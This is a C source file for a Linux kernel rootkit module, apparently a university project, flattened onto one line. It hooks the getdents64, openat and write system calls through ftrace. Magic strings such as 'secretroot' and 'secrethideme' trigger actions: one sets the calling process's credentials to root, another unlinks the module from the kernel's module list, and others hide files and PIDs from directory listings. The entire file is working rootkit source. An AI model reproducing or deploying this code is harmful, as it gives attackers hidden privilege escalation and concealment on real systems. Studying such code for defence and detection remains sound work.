// LKM_rootkit // Copyright © 2021 Volodymyr Patuta // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see . #include #include #include #include "fthook.h" MODULE_LICENSE("GPL"); MODULE_AUTHOR("Volodymyr Patuta"); MODULE_DESCRIPTION("University project"); MODULE_VERSION("0.0.1"); unsigned int target_fd = 0; unsigned int target_pid = 0; static asmlinkage long (*orig_sys_openat)(struct pt_regs *); static asmlinkage long (*orig_sys_write)(struct pt_regs *); static asmlinkage long (*orig_sys_getdents64)(struct pt_regs *); static int make_me_root(void); static void hide(void); static void unhide(void); struct list_head *list; static int is_hidden = 0; static const char *hide_prefix = "BOOM"; const int hide_prefix_len = 4; char given_pid[200]; static char hidden_pid[200][200]; static int hidden_pids = 0; static asmlinkage long fh_sys_getdents64(struct pt_regs *regs) { struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si; struct linux_dirent64 *prev_dir, *current_dir, *orig = NULL; unsigned long offset = 0; long err; int ret = orig_sys_getdents64(regs); orig = kzalloc(ret, GFP_KERNEL); if (ret <= 0 || orig == NULL) { return ret; } err = copy_from_user(orig, dirent, ret); if (err) { kfree(orig); return ret; } while (offset < ret) { current_dir = (void *)orig + offset; if ((memcmp(given_pid, current_dir->d_name, strlen(given_pid)) == 0) && (strncmp(given_pid, "", NAME_MAX) != 0)) { if (current_dir == orig) { ret -= current_dir->d_reclen; memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); continue; } prev_dir->d_reclen += current_dir->d_reclen; } if (memcmp(hide_prefix, current_dir->d_name, hide_prefix_len) == 0) { if (current_dir == orig) { ret -= current_dir->d_reclen; memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); continue; } prev_dir->d_reclen += current_dir->d_reclen; } else { prev_dir = current_dir; } offset += current_dir->d_reclen; } err = copy_to_user(dirent, orig, ret); if (err) { kfree(orig); return ret; } kfree(orig); return ret; } static asmlinkage long fh_sys_openat(struct pt_regs *regs) { long ret; struct task_struct *task; task = current; if (strncmp((char *)regs->si, "/dev/null", 15) == 0) { ret = orig_sys_openat(regs); target_fd = ret; target_pid = task->pid; return ret; } ret = orig_sys_openat(regs); return ret; } static asmlinkage long fh_sys_write(struct pt_regs *regs) { struct task_struct *task; task = current; if (task->pid == target_pid) { if (regs->di == 1 || regs->di == target_fd) { char __user *buf = (char *)regs->si; if (strncmp(buf, "secretroot", 10) == 0) { make_me_root(); } else if (strncmp(buf, "secrethideme", 12) == 0) { hide(); } else if (strncmp(buf, "secretreveal", 12) == 0) { unhide(); } else if (strncmp(buf, "secrethide$", 11) == 0) { given_pid[0] = '\0'; strncat(given_pid, buf + 11, strlen(buf + 11) - strlen(strrchr(buf, '$'))); printk(KERN_DEBUG "rootkit: buf [%s]\n", given_pid); } } } return orig_sys_write(regs); } static struct ftrace_hook hooks[] = { HOOK("sys_write", fh_sys_write, &orig_sys_write), HOOK("sys_openat", fh_sys_openat, &orig_sys_openat), HOOK("sys_getdents64", fh_sys_getdents64, &orig_sys_getdents64), }; static int make_me_root(void) { struct pid *proc_pid; struct task_struct *task; struct cred *new_cred; kuid_t kuid; kgid_t kgid; // printk(KERN_ERR "BOOM! [%llu]\n", val); proc_pid = find_vpid(target_pid); if (proc_pid == NULL) { printk(KERN_ERR "ERR find_vpid()\n"); return 1; } task = pid_task(proc_pid, PIDTYPE_PID); if (task == NULL) { printk(KERN_ERR "ERR pid_task()\n"); return 2; } kuid = KUIDT_INIT(0); kgid = KGIDT_INIT(0); new_cred = prepare_creds(); if (new_cred == NULL) { printk(KERN_ERR "ERR prepare_creds()\n"); return 3; } new_cred->uid = kuid; new_cred->gid = kgid; new_cred->euid = kuid; new_cred->egid = kgid; commit_creds(new_cred); return 0; } static void hide(void) { if (is_hidden) { return; } list = THIS_MODULE->list.prev; list_del(&THIS_MODULE->list); is_hidden = 1; } static void unhide(void) { if (!is_hidden) { return; } list_add(&THIS_MODULE->list, list); is_hidden = 0; } static int __init boom_init(void) { int err; pr_info("BOOM\n"); err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); if (err) return err; // hide(); pr_info("module loaded\n"); return 0; } static void __exit boom_exit(void) { fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); pr_info("Psshhh\n"); } module_init(boom_init); module_exit(boom_exit);